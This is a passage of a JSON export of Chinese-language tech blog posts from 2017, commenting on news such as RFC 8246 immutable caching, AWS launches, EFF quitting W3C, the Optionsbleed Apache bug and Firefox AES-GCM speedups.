    "body": "狀態已經是 Category: Standards Track 了，RFC 8246 的「<a href=\"https://tools.ietf.org/html/rfc8246\">HTTP Immutable Responses</a>」：\r\n\r\n<blockquote>The immutable HTTP response Cache-Control extension allows servers to identify resources that will not be updated during their freshness lifetime.  This ensures that a client never needs to revalidate a cached fresh resource to be certain it has not been modified.</blockquote>\r\n\r\n對 <code>Cache-Control</code> 介紹了 <code>immutable</code>，像是這樣：\r\n\r\n<pre>Cache-Control: max-age=31536000, immutable</pre>\r\n\r\n依照 <a href=\"https://developer.mozilla.org/\">MDN</a> 上的資料 (<a href=\"https://developer.mozilla.org/docs/Web/HTTP/Headers/Cache-Control\">Cache-Control - HTTP | MDN</a>)，目前只有 <a href=\"https://www.microsoft.com/windows/microsoft-edge\">Edge</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 支援，不過既然成為標準了，後續其他瀏覽器應該都會支援 (吧)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uzmwplj.webp\" /><img src=\"https://i.gslin.com/imgur/uzmwplj.jpg\" alt=\"\" /></picture>",
    "title": "Mozilla 的提案「HTTP Immutable Responses」"
  },
  {
    "id": "7570",
    "body": "之前 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 記憶體最大的機器是 <code>x1.32xlarge</code> 的 2TB RAM (更精確是 1952GB)，現在推出了 4TB RAM 的 <code>x1e.32xlarge</code> (3904GB)：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-ec2-instances-with-4-tb-of-memory/\">Now Available – EC2 Instances with 4 TB of Memory</a>」。\r\n\r\n現在這個時間點在 <code>us-east-1</code> 的價錢是 USD$26.688/hour (一個月 USD$19215.36)，用的到的人應該付得起？\r\n\r\n另外值得注意的是，<code>x1e.32xlarge</code> 雖然比 <code>x1.32xlarge</code> 多了一倍的記憶體，但 vCPU 不變 (都是 128)，而且 ECU 下降了 (從 349 降到 340)。\r\n\r\n這個機器目前在 <code>us-east-1</code>、<code>us-west-2</code>、<code>eu-west-1</code>、<code>ap-northeast-1</code> 四區提供服務：\r\n\r\n<blockquote>The x1e.32xlarge instances can be launched in On-Demand and Reserved Instance form via the AWS Management Console, AWS Command Line Interface (CLI), AWS SDKs, and AWS Marketplace in the US East (Northern Virginia), US West (Oregon), EU (Ireland), and Asia Pacific (Tokyo) Regions.</blockquote>",
    "title": "Amazon EC2 推出 4TB 的機器"
  },
  {
    "id": "7571",
    "body": "<a href=\"https://www.eff.org/\">EFF</a> 一直站在反對 <a href=\"https://en.wikipedia.org/wiki/Digital_rights_management\">DRM</a> 的立場，這次 <a href=\"https://www.w3.org/\">W3C</a> 通過並公開 DRM 框架規格後，EFF 決定退出 W3C：「<a href=\"https://boingboing.net/2017/09/18/antifeatures-for-all.html\">World Wide Web Consortium abandons consensus, standardizes DRM with 58.4% support, EFF resigns</a>」。\r\n\r\n不算太意外... EFF 對 DRM 的立場一直都很清楚，非常的清楚...",
    "title": "EFF 因 DRM 退出 W3C"
  },
  {
    "id": "7572",
    "body": "Security Team 出這種包...：「<a href=\"https://arstechnica.com/information-technology/2017/09/in-spectacular-fail-adobe-security-team-posts-private-pgp-key-on-blog/\">In spectacular fail, Adobe security team posts private PGP key on blog</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DjS6ziP.webp\" /><img src=\"https://i.gslin.com/imgur/DjS6ziP.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Oh shit Adobe <a href=\"https://t.co/7rDL3LWVVz\">pic.twitter.com/7rDL3LWVVz</a></p>&mdash; Juho Nurminen (@jupenur) <a href=\"https://twitter.com/jupenur/status/911286403434246144\">September 22, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"https://www.adobe.com/\">Adobe</a> 這次的事情要怎麼說呢，hmmm...",
    "title": "Adobe Security Team 直接把 Private Key 貼到網誌上面..."
  },
  {
    "id": "7573",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 在各個單位的砲火下決定將本來的 BSD+Patents 授權改為 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT license</a>：「<a href=\"https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/\">Relicensing React, Jest, Flow, and Immutable.js</a>」。\r\n\r\n<blockquote>Next week, we are going to relicense our open source projects React, Jest, Flow, and Immutable.js under the MIT license.</blockquote>\r\n\r\n後面講了很多場面話，聽聽就好... 改成 MIT license 最大的理由應該還是在 PR 面的傷害。",
    "title": "Facebook 決定修改原先的授權條款"
  },
  {
    "id": "7574",
    "body": "<a href=\"https://aws.amazon.com/codebuild/\">AWS CodeBuild</a> 可以管理 secret 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/aws-codebuild-now-provides-ability-to-manage-secrets/\">AWS CodeBuild Now Provides Ability To Manage Secrets</a>」。\r\n\r\n<blockquote>AWS CodeBuild now further enhances securing your build environment. CodeBuild can now store sensitive information as secrets, which can now get directly passed to your build jobs. This can be achieved by modifying the parameter store directly in your buildspec.yml, or via the CodeBuild console.</blockquote>\r\n\r\n在文件裡提到：\r\n\r\n<blockquote>We strongly discourage using environment variables to store sensitive values, especially AWS access key IDs and secret access keys. Environment variables can be displayed in plain text using tools such as the AWS CodeBuild console and the AWS CLI. For sensitive values, we recommend you use the parameter-store mapping instead, as described later in this section.</blockquote>\r\n\r\n這次算是補上其他家已經有蠻久的功能...\r\n\r\n不過在找資料的時候，發現 AWS CodeBuild 提供了每個月一百分鐘的 free quota，不論是新帳號還是現有帳號都一直有？(這點是之前沒注意到的...)\r\n\r\n<blockquote>The AWS CodeBuild free tier includes 100 build minutes of build.general1.small per month. The CodeBuild free tier does not expire automatically at the end of your 12-month AWS Free Tier term. It is available to new and existing AWS customers.</blockquote>",
    "title": "AWS CodeBuild 可以管 Secret 了..."
  },
  {
    "id": "7576",
    "body": "月初的時候 AWS ALB 支援 IP address 當後端 (<a href=\"https://blog.gslin.org/archives/2017/09/04/7537/aws-alb-%E5%8F%AF%E4%BB%A5%E8%A8%AD%E5%AE%9A-ip-address-%E7%95%B6%E4%BD%9C%E5%BE%8C%E7%AB%AF%E4%BC%BA%E6%9C%8D%E5%99%A8%E4%BA%86/\">AWS ALB 可以設定 IP address 當作後端伺服器了</a>)，然後推出 AWS NLB (<a href=\"https://blog.gslin.org/archives/2017/09/10/7543/aws-%E6%8E%A8%E5%87%BA%E6%96%B0%E7%9A%84-load-balancer%EF%BC%9Anlb-network-load-balancer/\">AWS 推出新的 Load Balancer：NLB (Network Load Balancer)</a>)，然後這個功能也被做到 NLB 上了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/elastic-load-balancing-network-load-balancer-now-supports-load-balancing-to-ip-addresses-as-targets-for-aws-and-on-premises-resources/\">Elastic Load Balancing: Network Load Balancer now supports load balancing to IP addresses as targets for AWS and on-premises resources</a>」。\r\n\r\n就如同說明的，這樣可以透過 VPN 架構 (無論是 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 或是一般的 IPsec VPN) 共用機房與雲端上的資源：\r\n\r\n<blockquote>We are pleased to announce that Network Load Balancers can now distribute traffic to AWS resources using their IP addresses as targets in addition to the instance IDs. You can now also load balance to resources in on-premises locations reachable over AWS Direct Connect and resources in EC2-Classic. Load balancing across AWS and on-premises resources using the same load balancer makes it easy for you to migrate-to-cloud, burst-to-cloud, or failover-to-cloud.</blockquote>\r\n\r\n除了中國區以外的 region 都可以用這個功能了：\r\n\r\n<blockquote>Load balancing using IP addresses is available today for existing and new Network Load Balancers in all public AWS regions except the China (Beijing) region. You can get started using the AWS Management Console, AWS Command Line Interface (CLI), or AWS SDK.</blockquote>",
    "title": "AWS NLB 也可以指定 IP address 當後端了"
  },
  {
    "id": "7579",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2017/09/22/how-to-deal-with-xa-transactions-recovery/\">How to Deal with XA Transactions Recovery</a>」這篇提到 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/xa.html\">XA Transaction</a> 的復原問題。\r\n\r\nXA Transaction 主要拿來做分散式上的事物交易，在官方文件上就有提到對應的標準：\r\n\r\n<blockquote>The MySQL XA implementation is based on the X/Open CAE document Distributed Transaction Processing: The XA Specification. This document is published by The Open Group and available at <a href=\"http://www.opengroup.org/public/pubs/catalog/c193.htm\">http://www.opengroup.org/public/pubs/catalog/c193.htm</a>.</blockquote>\r\n\r\n不過我覺得比較有趣的是這點，Percona 直接建議不要用 5.6 的 XA：\r\n\r\n<blockquote>But there is a limitation in 5.6: you can only XA commit/rollback transactions that belong to your session. That means after a crash you are out of luck. To get rid of these you need to promote a slave or perform a logical dump and restore. The best plan is to avoid the use of XA transactions with 5.6.</blockquote>\r\n\r\n不過翻了 bug report，<a href=\"https://www.oracle.com/\">Oracle</a> 官方的 5.7 還是沒解決，看起來是 Percona 自己 patch 掉 XDDD",
    "title": "MySQL 的 XA Transaction"
  },
  {
    "id": "7580",
    "body": "在「<a href=\"https://code.facebook.com/posts/1478526992216557/migrating-a-database-from-innodb-to-myrocks/\">Migrating a database from InnoDB to MyRocks</a>」這邊講到了 <a href=\"https://www.facebook.com/\">Facebook</a> 把 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 InnoDB 換成 MyRocks 的計畫。\r\n\r\nFacebook 已經大量導入全 Flash 的環境，於是現在 InnoDB (Compressed) 的情況類似於這樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Uzj6olU.jpg\" alt=\"\" />\r\n\r\n可以看到空間是最大的問題 (Space-bound)，而非 CPU 或是 I/O，這在純 Flash 的機器上還蠻有可能的，因為純 Flash 能提供的 I/O capacity 超高，加上 Facebook 把 MySQL 當作後端儲存設備而已，CPU 的使用量可以預期不高...\r\n\r\n然後他們估算 MyRocks 可以省下一半的空間，於是有可能變成：\r\n\r\n<img src=\"https://i.gslin.com/imgur/zmMFnEk.jpg\" alt=\"\" />\r\n\r\n不過對於一般單位來說，這些前提就未必成立了... 但還是可以看到 Mark Callaghan 花不少力氣在調校一般性的效能，希望讓使用者多一點...",
    "title": "Facebook 把 InnoDB 換成 MyRocks 的計畫"
  },
  {
    "id": "7581",
    "body": "歐盟在 2014 年做了關於盜版與銷量的研究，結果一直被壓到最近才發表出來 (於是就大概可以猜到結論了...)：「<a href=\"https://torrentfreak.com/eu-piracy-report-suppression-raises-questions-transparency-170922/\">EU Piracy Report Suppression Raises Questions Over Transparency</a>」。\r\n\r\n<blockquote>“In general, the results do not show robust statistical evidence of displacement of sales by online copyright infringements,” the study notes.</blockquote>\r\n\r\n甚至：\r\n\r\n<blockquote>The study found that piracy had a slightly positive effect on the videogames industry, suggesting that those who play pirate games eventually become buyers of official content.</blockquote>\r\n\r\n另外也描述了現有電影與 TV-series 定價策略偏高：\r\n\r\n<blockquote>“Overall, the analysis indicates that for films and TV-series current prices are higher than 80 per cent of the illegal downloaders and streamers are willing to pay,” the study notes.</blockquote>\r\n\r\n難怪被壓著...",
    "title": "歐盟對於盜版是否帶來傷害的研究"
  },
  {
    "id": "7583",
    "body": "<a href=\"https://www.uber.com/\">Uber</a> 在倫敦將會被停業：「<a href=\"https://thestack.com/iot/2017/09/22/uber-has-license-to-operate-in-london-revoked/\">Uber has license to operate in London revoked</a>」、「<a href=\"https://arstechnica.com/tech-policy/2017/09/london-regulator-announces-uber-ban/\">London regulator announces Uber ban</a>」、「<a href=\"http://www.bbc.co.uk/news/uk-england-41358640\">Uber London loses licence to operate</a>」。\r\n\r\n更精確的說是不再續發 license，舊的 license 只到 9/30：\r\n\r\n<blockquote>Transport for London (TfL), which operates public transport in the capital, has made the decision not to renew the app-based taxi’s license in the city.</blockquote>\r\n\r\n<blockquote>The license was renewed in May, but for a period of only five months. It will run out on 30th September, though the company will be allowed to continue to operate during the appeal process.</blockquote>\r\n\r\n看起來主要原因是圍繞於 <a href=\"https://en.wikipedia.org/wiki/Greyball\">Greyball</a> (利用演算法躲避執法人員的工具)：\r\n\r\n<blockquote>According to the TfL regulatory board, the ‘approach and conduct’ of Uber showed a lack of corporate responsibility, which could have resulted in public safety and security issues. It also raised concerns with the company’s ‘approach to explaining the use of Greyball, software that could be used to block regulatory bodies from gaining full access to the app.’</blockquote>\r\n\r\n新任 CEO 則是出來道歉：「<a href=\"https://arstechnica.com/tech-policy/2017/09/uber-ceo-apologizes-for-mistakes-in-london/\">Uber CEO apologizes for “mistakes” in London</a>」。\r\n\r\n其實是利益團體之間的衝突... 這戲還在繼續演。",
    "title": "Uber 在倫敦將會被停業"
  },
  {
    "id": "7584",
    "body": "也已經用 <a href=\"https://bazqux.com\">BazQux</a> 一陣子了，算是比較滿意的 Web-based RSS reader，拿出來寫一下...\r\n\r\n可以試用 30 天，付費會員的費用是 USD$19/year 或是 USD$29/year (功能沒有差異，只是多付一些錢支持網站維護者)，或是一次性的 USD$149/lifetime。\r\n\r\n網站放在德國而且沒有支援 HTTP/2，但速度比其他同性質的網站都快多了 (對我就是在說 <a href=\"https://feedly.com/\">Feedly</a>)，讓人想到當年 <a href=\"https://en.wikipedia.org/wiki/Google_Reader\">Google Reader</a> 還活著的時候。\r\n\r\n用起來比較不習慣的應該是單一 feed 未讀項目最多 500 筆，對於一些圖片類的東西會比較麻煩...",
    "title": "用 BazQux 訂閱文章"
  },
  {
    "id": "7585",
    "body": "<a href=\"https://httpd.apache.org/\">Apache</a> 也出了類似 <a href=\"http://heartbleed.com/\">Heartbleed</a> 的包：「<a href=\"https://arstechnica.com/information-technology/2017/09/apache-bug-leaks-contents-of-server-memory-for-all-to-see-patch-now/\">Apache bug leaks contents of server memory for all to see—Patch now</a>」，原文出自「<a href=\"https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html\">Optionsbleed - HTTP OPTIONS method can leak Apache's server memory</a>」。\r\n\r\n這掛上 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9798\">CVE-2017-9798</a> 了，影響版本包括了：\r\n\r\n<blockquote>This affects the Apache HTTP Server through 2.2.34 and 2.4.x through 2.4.27.</blockquote>\r\n\r\n發生在對 <code>OPTIONS</code> 處理出問題：\r\n\r\n<blockquote>Optionsbleed is a use after free error in Apache HTTP that causes a corrupted Allow header to be constructed in response to HTTP OPTIONS requests. This can leak pieces of arbitrary memory from the server process that may contain secrets. The memory pieces change after multiple requests, so for a vulnerable host an arbitrary number of memory chunks can be leaked.</blockquote>\r\n\r\n就... 更新吧 @_@",
    "title": "Apache 的 Optionsbleed"
  },
  {
    "id": "7586",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 對新推出的 Geo Key Manager 寫了兩篇文章說明：「<a href=\"https://blog.cloudflare.com/introducing-cloudflare-geo-key-manager/\">Introducing the Cloudflare Geo Key Manager</a>」、「<a href=\"https://blog.cloudflare.com/geo-key-manager-how-it-works/\">Geo Key Manager: How It Works</a>」。\r\n\r\n這個服務是之前推出的 <a href=\"https://www.cloudflare.com/ssl/keyless-ssl/\">Keyless SSL</a> 的延伸應用。\r\n\r\nKeyless SSL 是將 Private Key 放在自己家，透過加密協定讓 Cloudflare 使用 (有點像是 HSM 的概念，也就是 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">Hardware security module</a>，不讓應用的人存取到 Private Key)。這次推出的 Geo Key Manager 則是取中間值，希望針對效率與 High Availability 做出改善。\r\n\r\n改善的方法還是將 Private Key 上傳到 Cloudflare 裡，但不是 Cloudflare 所有的機房，而是讓使用者挑選某些風險比較低的地區。\r\n\r\n像是只放在美國，或是只放在歐盟，或是以安全度來選擇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UsRXALw.webp\" /><img src=\"https://i.gslin.com/imgur/UsRXALw.jpg\" alt=\"\" /></picture>\r\n\r\n這其實是不信任政府單位而設計出來的系統，雖然效果如何還不知道...",
    "title": "Cloudflare 新推出的 Geo Key Manager"
  },
  {
    "id": "7587",
    "body": "之前陸陸續續寫了一些關於 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 的新改善 (參考「<a href=\"https://blog.gslin.org/archives/2016/09/19/6847/mysql-8-0-%E7%9A%84-performance_schema-%E5%8A%A0%E4%B8%8A-index-%E4%BA%86/\">MySQL 8.0 的 performance_schema 加上 index 了...</a>」、「<a href=\"https://blog.gslin.org/archives/2016/10/15/6912/mysql-8-0-%E5%B0%87%E6%9C%83%E5%AF%A6%E4%BD%9C%E3%80%8C%E7%9C%9F%E6%AD%A3%E7%9A%84%E3%80%8Ddescending-indexes/\">MySQL 8.0 將會實作「真正的」Descending Indexes</a>」、「<a href=\"https://blog.gslin.org/archives/2017/05/20/7326/mysql-8-0-%E5%B0%8D-4-bytes-utf-8-%E7%9A%84%E6%95%88%E8%83%BD%E6%94%B9%E5%96%84/\">MySQL 8.0 對 4 bytes UTF-8 的效能改善</a>」)，官方在 RC1 的時候整理了一篇出來：「<a href=\"http://mysqlserverteam.com/mysql-8-0-rc1-highlights/\">MySQL 8.0 RC1 – Highlights</a>」。\r\n\r\n我覺得比較值得看的是「Better Handling of Hot Rows」、「Invisible Indexes」這兩個吧，前面這點對於效能可以有些幫助 (針對某些情境不要 waiting，直接 skip lock)，後面這點對於維運應該也有不錯的幫助 (像是拔掉 index 的過渡驗證階段)。\r\n\r\n當 MySQL 8.0 真的出了之後，<a href=\"https://www.percona.com/\">Percona</a> 應該也會出文章，到時候可以看出從不同面向的觀察與想法...",
    "title": "MySQL 8.0 的功能"
  },
  {
    "id": "7588",
    "body": "看到 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/mikeal/webtorrent-component\">mikeal/webtorrent-component</a>」這個專案，可以很方便直接嵌入 BitTorrent 的資源，像是這樣嵌：\r\n\r\n<pre>&lt;script src=\"https://cdn.jsdelivr.net/npm/webtorrent-component@latest/dist/webtorrent-component.min.js\"&gt;&lt;/script&gt;\r\n\r\n&lt;web-torrent src=\"magnet:?xt=urn:btih:08ada5a7a6183aae1e09d831df6748d566095a10&amp;dn=Sintel&amp;tr=wss%3A%2F%2Ftracker.btorrent.xyz&amp;tr=wss%3A%2F%2Ftracker.fastcast.nz&amp;tr=wss%3A%2F%2Ftracker.openwebtorrent.com&amp;ws=https%3A%2F%2Fwebtorrent.io%2Ftorrents%2F&amp;xs=https%3A%2F%2Fwebtorrent.io%2Ftorrents%2Fsintel.torrent\" file=\"Sintel.mp4\" /&gt;</pre>\r\n\r\n如果拿來跟「<a href=\"https://docs.aws.amazon.com/AmazonS3/latest/dev/S3Torrent.html\">Using BitTorrent with Amazon S3</a>」用的話可以在量大的時候省一些頻寬，並且在量小的時候還是維持有 seed (透過 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的服務做)。",
    "title": "直接在網頁上使用 WebTorrent"
  },
  {
    "id": "7589",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則 tweet，指出波蘭政府的官方網站使用了 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的憑證：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Wow. This Polish (soon, main) government sites using Let&#39;s Encrypt certificates? Great! ;-) <a href=\"https://t.co/Ju0rWARgBw\">https://t.co/Ju0rWARgBw</a> <a href=\"https://t.co/EtEQeFplwK\">pic.twitter.com/EtEQeFplwK</a></p>&mdash; Lukasz Olejnik (@lukOlejnik) <a href=\"https://twitter.com/lukOlejnik/status/912226445350592512\">September 25, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 上也可以看出來：「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=www.gov.pl\">SSL Server Test: www&#46;gov&#46;pl (Powered by Qualys SSL Labs)</a>」。\r\n\r\n不過不確定目前是暫時性的 (之後會換成其他的 SSL certificate)，還是本來就打算這樣設計了。",
    "title": "波蘭政府的官方網站將會使用 Let's Encrypt"
  },
  {
    "id": "7592",
    "body": "拿民用品當作軍事器材不是第一次了，不過拿來操作潛艇倒是蠻值得看一下的：「<a href=\"https://pilotonline.com/news/military/local/the-u-s-navy-s-most-advanced-submarines-will-soon/article_5c24eefc-8e70-5c4a-9d82-00d29e052b76.html\">The U.S. Navy's most advanced submarines will soon be using Xbox controllers</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VQpqpPD.webp\" /><img src=\"https://i.gslin.com/imgur/VQpqpPD.jpg\" alt=\"\" /></picture>\r\n<small>在 lab 環境測試的畫面。</small>\r\n\r\n原因頗簡單，就是成本考量，而且很容易取得：\r\n\r\n<blockquote>The company says the photonic mast handgrip and imaging control panel that cost about $38,000 can be replaced with an Xbox controller that typically costs less than $30.</blockquote>\r\n\r\n不過有個問題啊，軍用品一般都可以抵抗 <a href=\"https://en.wikipedia.org/wiki/Electromagnetic_pulse\">EMP</a>，這種民用品應該不行吧 XDDD",
    "title": "用 Xbox 控制器操控潛艇"
  },
  {
    "id": "7593",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 的「<a href=\"https://aws.amazon.com/blogs/database/automating-sql-caching-for-amazon-elasticache-and-amazon-rds/\">Automating SQL Caching for Amazon ElastiCache and Amazon RDS</a>」這篇裡面介紹了 <a href=\"https://www.heimdalldata.com/\">Heimdall Data – SQL caching and performance optimization</a> 這個產品。\r\n\r\n從官網的介紹也可以看出來是另外疊一層 proxy，但自動幫你處理 cache invalidation 的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ipZvft1.webp\" /><img src=\"https://i.gslin.com/imgur/ipZvft1.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>But what makes Heimdall Data unique in industry is its auto-cache AND auto-invalidation capability. Our machine learning algorithms determine what queries to cache while invalidating to ensure maximum performance and data integrity.</blockquote>\r\n\r\n看起來支援了四個蠻常見的 RDBMS：\r\n\r\n<blockquote>Heimdall Data supports most all relational database (e.g. MySQL, Postgres, Amazon RDS, Oracle, SQL Server, MariaDB).</blockquote>\r\n\r\n看起來是一個花錢直接買效能的方案... 不過 cache invalidation 的部分不知道要怎麼跨機器做，在 FAQ 沒看到 cluster 情況下會怎麼解決。",
    "title": "Heimdall Data：自動 Cache RDBMS 資料增加效能"
  },
  {
    "id": "7594",
    "body": "看到「<a href=\"https://evilmartians.com/chronicles/introducing-imgproxy\">imgproxy: Resize your images instantly and securely</a>」這篇文章，介紹「<a href=\"https://github.com/DarthSim/imgproxy\">DarthSim/imgproxy</a>」這個專案，想起很久以前的同事在 <a href=\"https://www.pixnet.net/\">PIXNET</a> 弄的 <code>*.pimg.tw</code> 系列服務...\r\n\r\nimgproxy 可以 resizing，也可以 croping，然後也支援 signature token 機制，感覺是每個大一點的站台都會自己刻一次的服務 XD\r\n\r\n整個專案以 <a href=\"https://golang.org/\">Golang</a> 為主，效能應該是不錯... 不過一般前面還是會放 cache 機制 (像是 CDN 之類的服務)，而不會把 loading 直接打進來，避免同樣的圖片一直重複計算。",
    "title": "imgproxy：自動處理圖片的工具"
  },
  {
    "id": "7597",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 打算放寬 140 字限制：「<a href=\"https://blog.twitter.com/official/en_us/topics/product/2017/Giving-you-more-characters-to-express-yourself.html\">Giving you more characters to express yourself</a>」。\r\n\r\n不過不包括日文、中文與韓文 XD\r\n\r\n<blockquote>We want every person around the world to easily express themselves on Twitter, so we're doing something new: we're going to try out a longer limit, 280 characters, in languages impacted by cramming (which is all except Japanese, Chinese, and Korean).</blockquote>\r\n\r\n然後也拿日文與英文當範例：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6KKOGlc.webp\" /><img src=\"https://i.gslin.com/imgur/6KKOGlc.jpg\" alt=\"\" /></picture>\r\n\r\n然後做了比較：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/osgztnY.webp\" /><img src=\"https://i.gslin.com/imgur/osgztnY.jpg\" alt=\"\" /></picture>",
    "title": "Twitter 打算放寬到 280 字..."
  },
  {
    "id": "7598",
    "body": "類似於 <a href=\"https://aws.amazon.com/\">AWS</a> 先前推出的 <a href=\"https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-at-the-edge.html\">Using CloudFront with Lambda@Edge</a> (參考「在 <a href=\"https://blog.gslin.org/archives/2016/12/02/7003/%E5%9C%A8-cloudfront-%E7%9A%84-edge-%E4%B8%8A%E8%B7%91-lambda/\">CloudFront 的 edge 上跑 Lambda</a>」以及「<a href=\"https://blog.gslin.org/archives/2017/08/02/7477/lambdaedge-%E7%9A%84-ga/\">Lambda@Edge 的 GA</a>」)，<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 也推出了類似的功能：「<a href=\"https://blog.cloudflare.com/introducing-cloudflare-workers/\">Introducing Cloudflare Workers: Run Javascript Service Workers at the Edge</a>」、「<a href=\"https://blog.cloudflare.com/code-everywhere-cloudflare-workers/\">Code Everywhere: Why We Built Cloudflare Workers</a>」。\r\n\r\n整個系統是架構在 <a href=\"https://en.wikipedia.org/wiki/Chrome_V8\">Chrome V8</a> 上，尤其是安全性的部分是 Cloudflare 的人頗讚賞的重點：\r\n\r\n<blockquote><strong>Security:</strong> The V8 JavaScript engine is arguably the most scrutinized code sandbox in the history of computing, and the Chrome security team is one of the best in the world. Moreover, Google pays massive bug bounties to anyone who can find a vulnerability. (That said, we have added additional layers of our own sandboxing on top of V8.)</blockquote>\r\n\r\n比較不一樣的地方在於 Cloudflare 拿 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API\">Service Worker API</a> 來設計他們的架構，AWS 則是自己幹了一套出來...\r\n\r\n然後現在還沒給出價錢，也還沒完全開放使用... 想要玩的人需要申請 beta。",
    "title": "Cloudflare 也能在各端點跑 JavaScript 了"
  },
  {
    "id": "7599",
    "body": "<a href=\"https://aws.amazon.com/snowball/\">AWS Snowball</a> 與 <a href=\"https://aws.amazon.com/snowball-edge/\">AWS Snowball Edge</a> 這兩個服務實際上就是透過硬碟寄送加速資料傳遞，只是做了很多保護 (物理面與資料安全面)。\r\n\r\n而這兩個服務宣佈在東京區開放了 (<code>ap-northeast-1</code>，包括 AWS Snowball 與 AWS Snowball Edge)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/aws-snowball-and-aws-snowball-edge-available-in-asia-pacific-tokyo-region/\">AWS Snowball and AWS Snowball Edge Available in Asia Pacific (Tokyo) Region</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mrjGdNe.webp\" /><img src=\"https://i.gslin.com/imgur/mrjGdNe.jpg\" alt=\"\" /></picture>\r\n\r\n這樣對於需要倒入 (以及倒出) 大量資料的服務又簡化了不少... (以往要從其他地區想辦法，而且還會遇到不支援寄來台灣的問題)",
    "title": "寄硬碟的 AWS Snowball 與 AWS Snowball Edge 支援東京了"
  },
  {
    "id": "7600",
    "body": "昨天釋出的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 56 對於 AES-GCM 在老電腦上改善了不少效能：「<a href=\"https://blog.mozilla.org/security/2017/09/29/improving-aes-gcm-performance/\">Improving AES-GCM Performance</a>」。\r\n\r\n首先是 Firefox 自己的數據分析，可以看到 AES-GCM 佔目前加密連線裡的大宗，再來是 AES-CBC：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EVlwZ2L.webp\" /><img src=\"https://i.gslin.com/imgur/EVlwZ2L.jpg\" alt=\"\" /></picture>\r\n\r\n先以 Linux 64bits 環境的數據來看，Firefox 56 的 NSS 3.32 大幅改善了老電腦的效能 (不支援 <a href=\"https://en.wikipedia.org/wiki/AES_instruction_set\">AES-NI</a> 硬體加解密的 CPU，甚至是不支援 <a href=\"https://en.wikipedia.org/wiki/CLMUL_instruction_set\">PCLMUL</a> 的 CPU，以及不支援 <a href=\"https://en.wikipedia.org/wiki/Advanced_Vector_Extensions\">AVX</a> 的 CPU)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wfir7Yv.webp\" /><img src=\"https://i.gslin.com/imgur/wfir7Yv.jpg\" alt=\"\" /></picture>\r\n\r\n在 Linux 32bits 環境上則是連預設值大幅改善，不過用的人應該少很多了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OH3Il9f.webp\" /><img src=\"https://i.gslin.com/imgur/OH3Il9f.jpg\" alt=\"\" /></picture>\r\n\r\nWindows 下則是因為 64bits 或是 32bits 都有足夠的使用者，所以平常就花了不少力氣。但也可以看出對於老電腦的速度提升：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BjjeIPt.webp\" /><img src=\"https://i.gslin.com/imgur/BjjeIPt.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PFABnS8.webp\" /><img src=\"https://i.gslin.com/imgur/PFABnS8.jpg\" alt=\"\" /></picture>\r\n\r\nMac (64bits only) 算是這次比較大的提升，連新電腦的預設值都大幅變快：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bBgo1CL.webp\" /><img src=\"https://i.gslin.com/imgur/bBgo1CL.jpg\" alt=\"\" 